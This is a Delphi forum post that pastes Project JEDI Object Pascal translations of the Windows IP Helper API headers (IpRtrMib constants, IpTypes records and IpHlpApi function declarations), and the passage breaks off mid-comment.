IF_TYPE_X25_MLP = 121; // Multi-Link Protocol
{$EXTERNALSYM IF_TYPE_X25_MLP}
IF_TYPE_X25_HUNTGROUP = 122; // X.25 Hunt Group
{$EXTERNALSYM IF_TYPE_X25_HUNTGROUP}
IF_TYPE_TRANSPHDLC = 123;
{$EXTERNALSYM IF_TYPE_TRANSPHDLC}
IF_TYPE_INTERLEAVE = 124; // Interleave channel
{$EXTERNALSYM IF_TYPE_INTERLEAVE}
IF_TYPE_FAST = 125; // Fast channel
{$EXTERNALSYM IF_TYPE_FAST}
IF_TYPE_IP = 126; // IP (for APPN HPR in IP networks)
{$EXTERNALSYM IF_TYPE_IP}
IF_TYPE_DOCSCABLE_MACLAYER = 127; // CATV Mac Layer
{$EXTERNALSYM IF_TYPE_DOCSCABLE_MACLAYER}
IF_TYPE_DOCSCABLE_DOWNSTREAM = 128; // CATV Downstream interface
{$EXTERNALSYM IF_TYPE_DOCSCABLE_DOWNSTREAM}
IF_TYPE_DOCSCABLE_UPSTREAM = 129; // CATV Upstream interface
{$EXTERNALSYM IF_TYPE_DOCSCABLE_UPSTREAM}
IF_TYPE_A12MPPSWITCH = 130; // Avalon Parallel Processor
{$EXTERNALSYM IF_TYPE_A12MPPSWITCH}
IF_TYPE_TUNNEL = 131; // Encapsulation interface
{$EXTERNALSYM IF_TYPE_TUNNEL}
IF_TYPE_COFFEE = 132; // Coffee pot
{$EXTERNALSYM IF_TYPE_COFFEE}
IF_TYPE_CES = 133; // Circuit Emulation Service
{$EXTERNALSYM IF_TYPE_CES}
IF_TYPE_ATM_SUBINTERFACE = 134; // ATM Sub Interface
{$EXTERNALSYM IF_TYPE_ATM_SUBINTERFACE}
IF_TYPE_L2_VLAN = 135; // Layer 2 Virtual LAN using 802.1Q
{$EXTERNALSYM IF_TYPE_L2_VLAN}
IF_TYPE_L3_IPVLAN = 136; // Layer 3 Virtual LAN using IP
{$EXTERNALSYM IF_TYPE_L3_IPVLAN}
IF_TYPE_L3_IPXVLAN = 137; // Layer 3 Virtual LAN using IPX
{$EXTERNALSYM IF_TYPE_L3_IPXVLAN}
IF_TYPE_DIGITALPOWERLINE = 138; // IP over Power Lines
{$EXTERNALSYM IF_TYPE_DIGITALPOWERLINE}
IF_TYPE_MEDIAMAILOVERIP = 139; // Multimedia Mail over IP
{$EXTERNALSYM IF_TYPE_MEDIAMAILOVERIP}
IF_TYPE_DTM = 140; // Dynamic syncronous Transfer Mode
{$EXTERNALSYM IF_TYPE_DTM}
IF_TYPE_DCN = 141; // Data Communications Network
{$EXTERNALSYM IF_TYPE_DCN}
IF_TYPE_IPFORWARD = 142; // IP Forwarding Interface
{$EXTERNALSYM IF_TYPE_IPFORWARD}
IF_TYPE_MSDSL = 143; // Multi-rate Symmetric DSL
{$EXTERNALSYM IF_TYPE_MSDSL}
IF_TYPE_IEEE1394 = 144; // IEEE1394 High Perf Serial Bus
{$EXTERNALSYM IF_TYPE_IEEE1394}

MAX_IF_TYPE = 144;
{$EXTERNALSYM MAX_IF_TYPE}

//////////////////////////////////////////////////////////////////////////////
// //
// Access types //
// //
//////////////////////////////////////////////////////////////////////////////

IF_ACCESS_LOOPBACK = 1;
{$EXTERNALSYM IF_ACCESS_LOOPBACK}
IF_ACCESS_BROADCAST = 2;
{$EXTERNALSYM IF_ACCESS_BROADCAST}
IF_ACCESS_POINTTOPOINT = 3;
{$EXTERNALSYM IF_ACCESS_POINTTOPOINT}
IF_ACCESS_POINTTOMULTIPOINT = 4;
{$EXTERNALSYM IF_ACCESS_POINTTOMULTIPOINT}

//////////////////////////////////////////////////////////////////////////////
// //
// Connection Types //
// //
//////////////////////////////////////////////////////////////////////////////

IF_CONNECTION_DEDICATED = 1;
{$EXTERNALSYM IF_CONNECTION_DEDICATED}
IF_CONNECTION_PASSIVE = 2;
{$EXTERNALSYM IF_CONNECTION_PASSIVE}
IF_CONNECTION_DEMAND = 3;
{$EXTERNALSYM IF_CONNECTION_DEMAND}

IF_ADMIN_STATUS_UP = 1;
{$EXTERNALSYM IF_ADMIN_STATUS_UP}
IF_ADMIN_STATUS_DOWN = 2;
{$EXTERNALSYM IF_ADMIN_STATUS_DOWN}
IF_ADMIN_STATUS_TESTING = 3;
{$EXTERNALSYM IF_ADMIN_STATUS_TESTING}

//////////////////////////////////////////////////////////////////////////////
// //
// The following are the the operational states for WAN and LAN interfaces. //
// The order of the states seems weird, but is done for a purpose. All //
// states >= CONNECTED can transmit data right away. States >= DISCONNECTED //
// can tx data but some set up might be needed. States < DISCONNECTED can //
// not transmit data. //
// A card is marked UNREACHABLE if DIM calls InterfaceUnreachable for //
// reasons other than failure to connect. //
// //
// NON_OPERATIONAL -- Valid for LAN Interfaces. Means the card is not //
// working or not plugged in or has no address. //
// UNREACHABLE -- Valid for WAN Interfaces. Means the remote site is //
// not reachable at this time. //
// DISCONNECTED -- Valid for WAN Interfaces. Means the remote site is //
// not connected at this time. //
// CONNECTING -- Valid for WAN Interfaces. Means a connection attempt //
// has been initiated to the remote site. //
// CONNECTED -- Valid for WAN Interfaces. Means the remote site is //
// connected. //
// OPERATIONAL -- Valid for LAN Interfaces. Means the card is plugged //
// in and working. //
// //
// It is the users duty to convert these values to MIB-II values if they //
// are to be used by a subagent //
// //
//////////////////////////////////////////////////////////////////////////////

IF_OPER_STATUS_NON_OPERATIONAL = 0;
{$EXTERNALSYM IF_OPER_STATUS_NON_OPERATIONAL}
IF_OPER_STATUS_UNREACHABLE = 1;
{$EXTERNALSYM IF_OPER_STATUS_UNREACHABLE}
IF_OPER_STATUS_DISCONNECTED = 2;
{$EXTERNALSYM IF_OPER_STATUS_DISCONNECTED}
IF_OPER_STATUS_CONNECTING = 3;
{$EXTERNALSYM IF_OPER_STATUS_CONNECTING}
IF_OPER_STATUS_CONNECTED = 4;
{$EXTERNALSYM IF_OPER_STATUS_CONNECTED}
IF_OPER_STATUS_OPERATIONAL = 5;
{$EXTERNALSYM IF_OPER_STATUS_OPERATIONAL}

MIB_IF_TYPE_OTHER = 1;
{$EXTERNALSYM MIB_IF_TYPE_OTHER}
MIB_IF_TYPE_ETHERNET = 6;
{$EXTERNALSYM MIB_IF_TYPE_ETHERNET}
MIB_IF_TYPE_TOKENRING = 9;
{$EXTERNALSYM MIB_IF_TYPE_TOKENRING}
MIB_IF_TYPE_FDDI = 15;
{$EXTERNALSYM MIB_IF_TYPE_FDDI}
MIB_IF_TYPE_PPP = 23;
{$EXTERNALSYM MIB_IF_TYPE_PPP}
MIB_IF_TYPE_LOOPBACK = 24;
{$EXTERNALSYM MIB_IF_TYPE_LOOPBACK}
MIB_IF_TYPE_SLIP = 28;
{$EXTERNALSYM MIB_IF_TYPE_SLIP}

MIB_IF_ADMIN_STATUS_UP = 1;
{$EXTERNALSYM MIB_IF_ADMIN_STATUS_UP}
MIB_IF_ADMIN_STATUS_DOWN = 2;
{$EXTERNALSYM MIB_IF_ADMIN_STATUS_DOWN}
MIB_IF_ADMIN_STATUS_TESTING = 3;
{$EXTERNALSYM MIB_IF_ADMIN_STATUS_TESTING}

MIB_IF_OPER_STATUS_NON_OPERATIONAL = 0;
{$EXTERNALSYM MIB_IF_OPER_STATUS_NON_OPERATIONAL}
MIB_IF_OPER_STATUS_UNREACHABLE = 1;
{$EXTERNALSYM MIB_IF_OPER_STATUS_UNREACHABLE}
MIB_IF_OPER_STATUS_DISCONNECTED = 2;
{$EXTERNALSYM MIB_IF_OPER_STATUS_DISCONNECTED}
MIB_IF_OPER_STATUS_CONNECTING = 3;
{$EXTERNALSYM MIB_IF_OPER_STATUS_CONNECTING}
MIB_IF_OPER_STATUS_CONNECTED = 4;
{$EXTERNALSYM MIB_IF_OPER_STATUS_CONNECTED}
MIB_IF_OPER_STATUS_OPERATIONAL = 5;
{$EXTERNALSYM MIB_IF_OPER_STATUS_OPERATIONAL}

implementation

end.


IPTypes单元

{******************************************************************************}
{ }
{ Internet Protocol Helper API interface Unit for Object Pascal }
{ }
{ Portions created by Microsoft are Copyright (C) 1995-2001 Microsoft }
{ Corporation. All Rights Reserved. }
{ }
{ The original file is: iptypes.h, released July 2000. The original Pascal }
{ code is: IpTypes.pas, released September 2000. The initial developer of the }
{ Pascal code is Marcel van Brakel (brakelm@chello.nl). }
{ }
{ Portions created by Marcel van Brakel are Copyright (C) 1999-2001 }
{ Marcel van Brakel. All Rights Reserved. }
{ }
{ Contributor(s): John C. Penman (jcp@craiglockhart.com) }
{ Vladimir Vassiliev (voldemarv@hotpop.com) }
{ }
{ Obtained through: Joint Endeavour of Delphi Innovators (Project JEDI) }
{ }
{ You may retrieve the latest version of this file at the Project JEDI home }
{ page, located at http://delphi-jedi.org or my personal homepage located at }
{ http://members.chello.nl/m.vanbrakel2 }
{ }
{ The contents of this file are used with permission, subject to the Mozilla }
{ Public License Version 1.1 (the "License"); you may not use this file except }
{ in compliance with the License. You may obtain a copy of the License at }
{ http://www.mozilla.org/MPL/MPL-1.1.html }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, }
{ WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for }
{ the specific language governing rights and limitations under the License. }
{ }
{ Alternatively, the contents of this file may be used under the terms of the }
{ GNU Lesser General Public License (the "LGPL License"), in which case the }
{ provisions of the LGPL License are applicable instead of those above. }
{ If you wish to allow use of your version of this file only under the terms }
{ of the LGPL License and not to allow others to use your version of this file }
{ under the MPL, indicate your decision by deleting the provisions above and }
{ replace them with the notice and other provisions required by the LGPL }
{ License. If you do not delete the provisions above, a recipient may use }
{ your version of this file under either the MPL or the LGPL License. }
{ }
{ For more information about the LGPL: http://www.gnu.org/copyleft/lesser.html }
{ }
{******************************************************************************}

unit IpTypes;

{$WEAKPACKAGEUNIT}

{$HPPEMIT ''}
{$HPPEMIT '#include "iptypes.h"'}
{$HPPEMIT ''}

//{$I WINDEFINES.INC}

interface

uses
Windows;

type
// #include <time.h>
time_t = Longint;
{$EXTERNALSYM time_t}

// Definitions and structures used by getnetworkparams and getadaptersinfo apis

const
MAX_ADAPTER_DESCRIPTION_LENGTH = 128; // arb.
{$EXTERNALSYM MAX_ADAPTER_DESCRIPTION_LENGTH}
MAX_ADAPTER_NAME_LENGTH = 256; // arb.
{$EXTERNALSYM MAX_ADAPTER_NAME_LENGTH}
MAX_ADAPTER_ADDRESS_LENGTH = 8; // arb.
{$EXTERNALSYM MAX_ADAPTER_ADDRESS_LENGTH}
DEFAULT_MINIMUM_ENTITIES = 32; // arb.
{$EXTERNALSYM DEFAULT_MINIMUM_ENTITIES}
MAX_HOSTNAME_LEN = 128; // arb.
{$EXTERNALSYM MAX_HOSTNAME_LEN}
MAX_DOMAIN_NAME_LEN = 128; // arb.
{$EXTERNALSYM MAX_DOMAIN_NAME_LEN}
MAX_SCOPE_ID_LEN = 256; // arb.
{$EXTERNALSYM MAX_SCOPE_ID_LEN}

//
// types
//

// Node Type

BROADCAST_NODETYPE = 1;
{$EXTERNALSYM BROADCAST_NODETYPE}
PEER_TO_PEER_NODETYPE = 2;
{$EXTERNALSYM PEER_TO_PEER_NODETYPE}
MIXED_NODETYPE = 4;
{$EXTERNALSYM MIXED_NODETYPE}
HYBRID_NODETYPE = 8;
{$EXTERNALSYM HYBRID_NODETYPE}

// Adapter Type

IF_OTHER_ADAPTERTYPE = 0;
{$EXTERNALSYM IF_OTHER_ADAPTERTYPE}
IF_ETHERNET_ADAPTERTYPE = 1;
{$EXTERNALSYM IF_ETHERNET_ADAPTERTYPE}
IF_TOKEN_RING_ADAPTERTYPE = 2;
{$EXTERNALSYM IF_TOKEN_RING_ADAPTERTYPE}
IF_FDDI_ADAPTERTYPE = 3;
{$EXTERNALSYM IF_FDDI_ADAPTERTYPE}
IF_PPP_ADAPTERTYPE = 4;
{$EXTERNALSYM IF_PPP_ADAPTERTYPE}
IF_LOOPBACK_ADAPTERTYPE = 5;
{$EXTERNALSYM IF_LOOPBACK_ADAPTERTYPE}
IF_SLIP_ADAPTERTYPE = 6;
{$EXTERNALSYM IF_SLIP_ADAPTERTYPE}

//
// IP_ADDRESS_STRING - store an IP address as a dotted decimal string
//

type
PIP_MASK_STRING = ^IP_MASK_STRING;
{$EXTERNALSYM PIP_MASK_STRING}
IP_ADDRESS_STRING = record
S: array [0..15] of Char;
end;
{$EXTERNALSYM IP_ADDRESS_STRING}
PIP_ADDRESS_STRING = ^IP_ADDRESS_STRING;
{$EXTERNALSYM PIP_ADDRESS_STRING}
IP_MASK_STRING = IP_ADDRESS_STRING;
{$EXTERNALSYM IP_MASK_STRING}
TIpAddressString = IP_ADDRESS_STRING;
PIpAddressString = PIP_MASK_STRING;

//
// IP_ADDR_STRING - store an IP address with its corresponding subnet mask,
// both as dotted decimal strings
//

PIP_ADDR_STRING = ^IP_ADDR_STRING;
{$EXTERNALSYM PIP_ADDR_STRING}
_IP_ADDR_STRING = record
Next: PIP_ADDR_STRING;
IpAddress: IP_ADDRESS_STRING;
IpMask: IP_MASK_STRING;
Context: DWORD;
end;
{$EXTERNALSYM _IP_ADDR_STRING}
IP_ADDR_STRING = _IP_ADDR_STRING;
{$EXTERNALSYM IP_ADDR_STRING}
TIpAddrString = IP_ADDR_STRING;
PIpAddrString = PIP_ADDR_STRING;

//
// ADAPTER_INFO - per-adapter information. All IP addresses are stored as
// strings
//

PIP_ADAPTER_INFO = ^IP_ADAPTER_INFO;
{$EXTERNALSYM PIP_ADAPTER_INFO}
_IP_ADAPTER_INFO = record
Next: PIP_ADAPTER_INFO;
ComboIndex: DWORD;
AdapterName: array [0..MAX_ADAPTER_NAME_LENGTH + 3] of Char;
Description: array [0..MAX_ADAPTER_DESCRIPTION_LENGTH + 3] of Char;
AddressLength: UINT;
Address: array [0..MAX_ADAPTER_ADDRESS_LENGTH - 1] of BYTE;
Index: DWORD;
Type_: UINT;
DhcpEnabled: UINT;
CurrentIpAddress: PIP_ADDR_STRING;
IpAddressList: IP_ADDR_STRING;
GatewayList: IP_ADDR_STRING;
DhcpServer: IP_ADDR_STRING;
HaveWins: BOOL;
PrimaryWinsServer: IP_ADDR_STRING;
SecondaryWinsServer: IP_ADDR_STRING;
LeaseObtained: time_t;
LeaseExpires: time_t;
end;
{$EXTERNALSYM _IP_ADAPTER_INFO}
IP_ADAPTER_INFO = _IP_ADAPTER_INFO;
{$EXTERNALSYM IP_ADAPTER_INFO}
TIpAdapterInfo = IP_ADAPTER_INFO;
PIpAdapterInfo = PIP_ADAPTER_INFO;

//
// IP_PER_ADAPTER_INFO - per-adapter IP information such as DNS server list.
//

PIP_PER_ADAPTER_INFO = ^IP_PER_ADAPTER_INFO;
{$EXTERNALSYM PIP_PER_ADAPTER_INFO}
_IP_PER_ADAPTER_INFO = record
AutoconfigEnabled: UINT;
AutoconfigActive: UINT;
CurrentDnsServer: PIP_ADDR_STRING;
DnsServerList: IP_ADDR_STRING;
end;
{$EXTERNALSYM _IP_PER_ADAPTER_INFO}
IP_PER_ADAPTER_INFO = _IP_PER_ADAPTER_INFO;
{$EXTERNALSYM IP_PER_ADAPTER_INFO}
TIpPerAdapterInfo = IP_PER_ADAPTER_INFO;
PIpPerAdapterInfo = PIP_PER_ADAPTER_INFO;

//
// FIXED_INFO - the set of IP-related information which does not depend on DHCP
//

PFIXED_INFO = ^FIXED_INFO;
{$EXTERNALSYM PFIXED_INFO}
FIXED_INFO = record
HostName: array [0..MAX_HOSTNAME_LEN + 3] of Char;
DomainName: array[0..MAX_DOMAIN_NAME_LEN + 3] of Char;
CurrentDnsServer: PIP_ADDR_STRING;
DnsServerList: IP_ADDR_STRING;
NodeType: UINT;
ScopeId: array [0..MAX_SCOPE_ID_LEN + 3] of Char;
EnableRouting: UINT;
EnableProxy: UINT;
EnableDns: UINT;
end;
{$EXTERNALSYM FIXED_INFO}
TFixedInfo = FIXED_INFO;
PFixedInfo = PFIXED_INFO;

implementation

end.

接下:


来自:Hexi, 时间:2001-12-17 10:41:00, ID:793203
[red]IpHlpApi[/red]
{******************************************************************************}
{ }
{ Internet Protocol Helper API interface Unit for Object Pascal }
{ }
{ Portions created by Microsoft are Copyright (C) 1995-2001 Microsoft }
{ Corporation. All Rights Reserved. }
{ }
{ The original file is: iphlpapi.h, released July 2000. The original Pascal }
{ code is: IpHlpApi.pas, released September 2000. The initial developer of the }
{ Pascal code is Marcel van Brakel (brakelm@chello.nl). }
{ }
{ Portions created by Marcel van Brakel are Copyright (C) 1999-2001 }
{ Marcel van Brakel. All Rights Reserved. }
{ }
{ Contributor(s): John C. Penman (jcp@craiglockhart.com) }
{ Vladimir Vassiliev (voldemarv@hotpop.com) }
{ }
{ Obtained through: Joint Endeavour of Delphi Innovators (Project JEDI) }
{ }
{ You may retrieve the latest version of this file at the Project JEDI home }
{ page, located at http://delphi-jedi.org or my personal homepage located at }
{ http://members.chello.nl/m.vanbrakel2 }
{ }
{ The contents of this file are used with permission, subject to the Mozilla }
{ Public License Version 1.1 (the "License"); you may not use this file except }
{ in compliance with the License. You may obtain a copy of the License at }
{ http://www.mozilla.org/MPL/MPL-1.1.html }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, }
{ WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for }
{ the specific language governing rights and limitations under the License. }
{ }
{ Alternatively, the contents of this file may be used under the terms of the }
{ GNU Lesser General Public License (the "LGPL License"), in which case the }
{ provisions of the LGPL License are applicable instead of those above. }
{ If you wish to allow use of your version of this file only under the terms }
{ of the LGPL License and not to allow others to use your version of this file }
{ under the MPL, indicate your decision by deleting the provisions above and }
{ replace them with the notice and other provisions required by the LGPL }
{ License. If you do not delete the provisions above, a recipient may use }
{ your version of this file under either the MPL or the LGPL License. }
{ }
{ For more information about the LGPL: http://www.gnu.org/copyleft/lesser.html }
{ }
{******************************************************************************}

unit IpHlpApi;

{$WEAKPACKAGEUNIT}

{$HPPEMIT ''}
{$HPPEMIT '#include "iphlpapi.h"'}
{$HPPEMIT ''}

//{$I WINDEFINES.INC}

{.$DEFINE IPHLPAPI_LINKONREQUEST}
{$IFDEF IPHLPAPI_LINKONREQUEST}
{$DEFINE IPHLPAPI_DYNLINK}
{$ENDIF}
{.$DEFINE IPHLPAPI_DYNLINK}

interface

uses
Windows, IpExport, IpRtrMib, IpTypes;

//////////////////////////////////////////////////////////////////////////////
// //
// IPRTRMIB.H has the definitions of the strcutures used to set and get //
// information //
// //
//////////////////////////////////////////////////////////////////////////////

// #include <iprtrmib.h>
// #include <ipexport.h>
// #include <iptypes.h>

//////////////////////////////////////////////////////////////////////////////
// //
// The GetXXXTable APIs take a buffer and a size of buffer. If the buffer //
// is not large enough, they APIs return ERROR_INSUFFICIENT_BUFFER and //
// *pdwSize is the required buffer size //
// The bOrder is a BOOLEAN, which if TRUE sorts the table according to //
// MIB-II (RFC XXXX) //
// //
//////////////////////////////////////////////////////////////////////////////


//////////////////////////////////////////////////////////////////////////////
// //
// Retrieves the number of interfaces in the system. These include LAN and //
// WAN interfaces //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetNumberOfInterfaces(var pdwNumIf: DWORD): DWORD; stdcall;
{$EXTERNALSYM GetNumberOfInterfaces}

{$ELSE}

var
GetNumberOfInterfaces: function (var pdwNumIf: DWORD): DWORD; stdcall;
{$EXTERNALSYM GetNumberOfInterfaces}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets the MIB-II ifEntry //
// The dwIndex field of the MIB_IFROW should be set to the index of the //
// interface being queried //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetIfEntry(pIfRow: PMIB_IFROW): DWORD; stdcall;
{$EXTERNALSYM GetIfEntry}

{$ELSE}

var
GetIfEntry: function (pIfRow: PMIB_IFROW): DWORD; stdcall;
{$EXTERNALSYM GetIfEntry}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets the MIB-II IfTable //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetIfTable(pIfTable: PMIB_IFTABLE; var pdwSize: ULONG; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIfTable}

{$ELSE}

var
GetIfTable: function (pIfTable: PMIB_IFTABLE; var pdwSize: ULONG; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIfTable}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets the Interface to IP Address mapping //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetIpAddrTable(pIpAddrTable: PMIB_IPADDRTABLE; var pdwSize: ULONG; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIpAddrTable}

{$ELSE}

var
GetIpAddrTable: function (pIpAddrTable: PMIB_IPADDRTABLE; var pdwSize: ULONG; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIpAddrTable}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets the current IP Address to Physical Address (ARP) mapping //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetIpNetTable(pIpNetTable: PMIB_IPNETTABLE; var pdwSize: ULONG; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIpNetTable}

{$ELSE}

var
GetIpNetTable: function (pIpNetTable: PMIB_IPNETTABLE; var pdwSize: ULONG; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIpNetTable}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets the IP Routing Table (RFX XXXX) //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetIpForwardTable(pIpForwardTable: PMIB_IPFORWARDTABLE; var pdwSize: ULONG;
bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIpForwardTable}

{$ELSE}

var
GetIpForwardTable: function (pIpForwardTable: PMIB_IPFORWARDTABLE;
var pdwSize: ULONG; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetIpForwardTable}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets TCP Connection/UDP Listener Table //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetTcpTable(pTcpTable: PMIB_TCPTABLE; var pdwSize: DWORD; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetTcpTable}

function GetUdpTable(pUdpTable: PMIB_UDPTABLE; var pdwSize: DWORD; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetUdpTable}

{$ELSE}

var
GetTcpTable: function (pTcpTable: PMIB_TCPTABLE; var pdwSize: DWORD; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetTcpTable}

GetUdpTable: function (pUdpTable: PMIB_UDPTABLE; var pdwSize: DWORD; bOrder: BOOL): DWORD; stdcall;
{$EXTERNALSYM GetUdpTable}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Gets IP/ICMP/TCP/UDP Statistics //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function GetIpStatistics(var pStats: MIB_IPSTATS): DWORD; stdcall;
{$EXTERNALSYM GetIpStatistics}

function GetIcmpStatistics(var pStats: MIB_ICMP): DWORD; stdcall;
{$EXTERNALSYM GetIcmpStatistics}

function GetTcpStatistics(var pStats: MIB_TCPSTATS): DWORD; stdcall;
{$EXTERNALSYM GetTcpStatistics}

function GetUdpStatistics(var pStats: MIB_UDPSTATS): DWORD; stdcall;
{$EXTERNALSYM GetUdpStatistics}

{$ELSE}

var
GetIpStatistics: function (var pStats: MIB_IPSTATS): DWORD; stdcall;
{$EXTERNALSYM GetIpStatistics}

GetIcmpStatistics: function (var pStats: MIB_ICMP): DWORD; stdcall;
{$EXTERNALSYM GetIcmpStatistics}

GetTcpStatistics: function (var pStats: MIB_TCPSTATS): DWORD; stdcall;
{$EXTERNALSYM GetTcpStatistics}

GetUdpStatistics: function (var pStats: MIB_UDPSTATS): DWORD; stdcall;
{$EXTERNALSYM GetUdpStatistics}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Used to set the ifAdminStatus on an interface. The only fields of the //
// MIB_IFROW that are relevant are the dwIndex (index of the interface //
// whose status needs to be set) and the dwAdminStatus which can be either //
// MIB_IF_ADMIN_STATUS_UP or MIB_IF_ADMIN_STATUS_DOWN //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function SetIfEntry(const pIfRow: MIB_IFROW): DWORD; stdcall;
{$EXTERNALSYM SetIfEntry}

{$ELSE}

var
SetIfEntry: function (const pIfRow: MIB_IFROW): DWORD; stdcall;
{$EXTERNALSYM SetIfEntry}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Used to create, modify or delete a route. In all cases the //
// dwForwardIfIndex, dwForwardDest, dwForwardMask, dwForwardNextHop and //
// dwForwardPolicy MUST BE SPECIFIED. Currently dwForwardPolicy is unused //
// and MUST BE 0. //
// For a set, the complete MIB_IPFORWARDROW structure must be specified //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function CreateIpForwardEntry(const pRoute: MIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM CreateIpForwardEntry}

function SetIpForwardEntry(const pRoute: MIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM SetIpForwardEntry}

function DeleteIpForwardEntry(const pRoute: MIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM DeleteIpForwardEntry}

{$ELSE}

var
CreateIpForwardEntry: function (const pRoute: MIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM CreateIpForwardEntry}

SetIpForwardEntry: function (const pRoute: MIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM SetIpForwardEntry}

DeleteIpForwardEntry: function (const pRoute: MIB_IPFORWARDROW): DWORD; stdcall;
{$EXTERNALSYM DeleteIpForwardEntry}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Used to set the ipForwarding to ON or OFF (currently only ON->OFF is //
// allowed) and to set the defaultTTL. If only one of the fields needs to //
// be modified and the other needs to be the same as before the other field //
// needs to be set to MIB_USE_CURRENT_TTL or MIB_USE_CURRENT_FORWARDING as //
// the case may be //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function SetIpStatistics(const pIpStats: MIB_IPSTATS): DWORD; stdcall;
{$EXTERNALSYM SetIpStatistics}

{$ELSE}

var
SetIpStatistics: function (const pIpStats: MIB_IPSTATS): DWORD; stdcall;
{$EXTERNALSYM SetIpStatistics}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Used to set the defaultTTL. //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function SetIpTTL(nTTL: UINT): DWORD; stdcall;
{$EXTERNALSYM SetIpTTL}

{$ELSE}

SetIpTTL: function (nTTL: UINT): DWORD; stdcall;
{$EXTERNALSYM SetIpTTL}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Used to create, modify or delete an ARP entry. In all cases the dwIndex //
// dwAddr field MUST BE SPECIFIED. //
// For a set, the complete MIB_IPNETROW structure must be specified //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function CreateIpNetEntry(const pArpEntry: MIB_IPNETROW): DWORD; stdcall;
{$EXTERNALSYM CreateIpNetEntry}

function SetIpNetEntry(const pArpEntry: MIB_IPNETROW): DWORD; stdcall;
{$EXTERNALSYM SetIpNetEntry}

function DeleteIpNetEntry(const pArpEntry: MIB_IPNETROW): DWORD; stdcall;
{$EXTERNALSYM DeleteIpNetEntry}

function FlushIpNetTable(dwIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM FlushIpNetTable}

{$ELSE}

var
CreateIpNetEntry: function (const pArpEntry: MIB_IPNETROW): DWORD; stdcall;
{$EXTERNALSYM CreateIpNetEntry}

SetIpNetEntry: function (const pArpEntry: MIB_IPNETROW): DWORD; stdcall;
{$EXTERNALSYM SetIpNetEntry}

DeleteIpNetEntry: function (const pArpEntry: MIB_IPNETROW): DWORD; stdcall;
{$EXTERNALSYM DeleteIpNetEntry}

FlushIpNetTable: function (dwIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM FlushIpNetTable}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Used to create or delete a Proxy ARP entry. The dwIndex is the index of //
// the interface on which to PARP for the dwAddress. If the interface is //
// of a type that doesnt support ARP, e.g. PPP, then the call will fail //
// //
//////////////////////////////////////////////////////////////////////////////

{$IFNDEF IPHLPAPI_DYNLINK}

function CreateProxyArpEntry(dwAddress, dwMask, dwIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM CreateProxyArpEntry}

function DeleteProxyArpEntry(dwAddress, dwMask, dwIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM DeleteProxyArpEntry}

{$ELSE}

var
CreateProxyArpEntry: function (dwAddress, dwMask, dwIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM CreateProxyArpEntry}

DeleteProxyArpEntry: function (dwAddress, dwMask, dwIfIndex: DWORD): DWORD; stdcall;
{$EXTERNALSYM DeleteProxyArpEntry}

{$ENDIF}

//////////////////////////////////////////////////////////////////////////////
// //
// Used to set the state of a TCP Connection. The only state that it can be //
// set to is MIB_TCP_STATE_DELETE_TCB. The complete MIB_TCPROW structure //
// MUST BE SPECIFIED //
// //
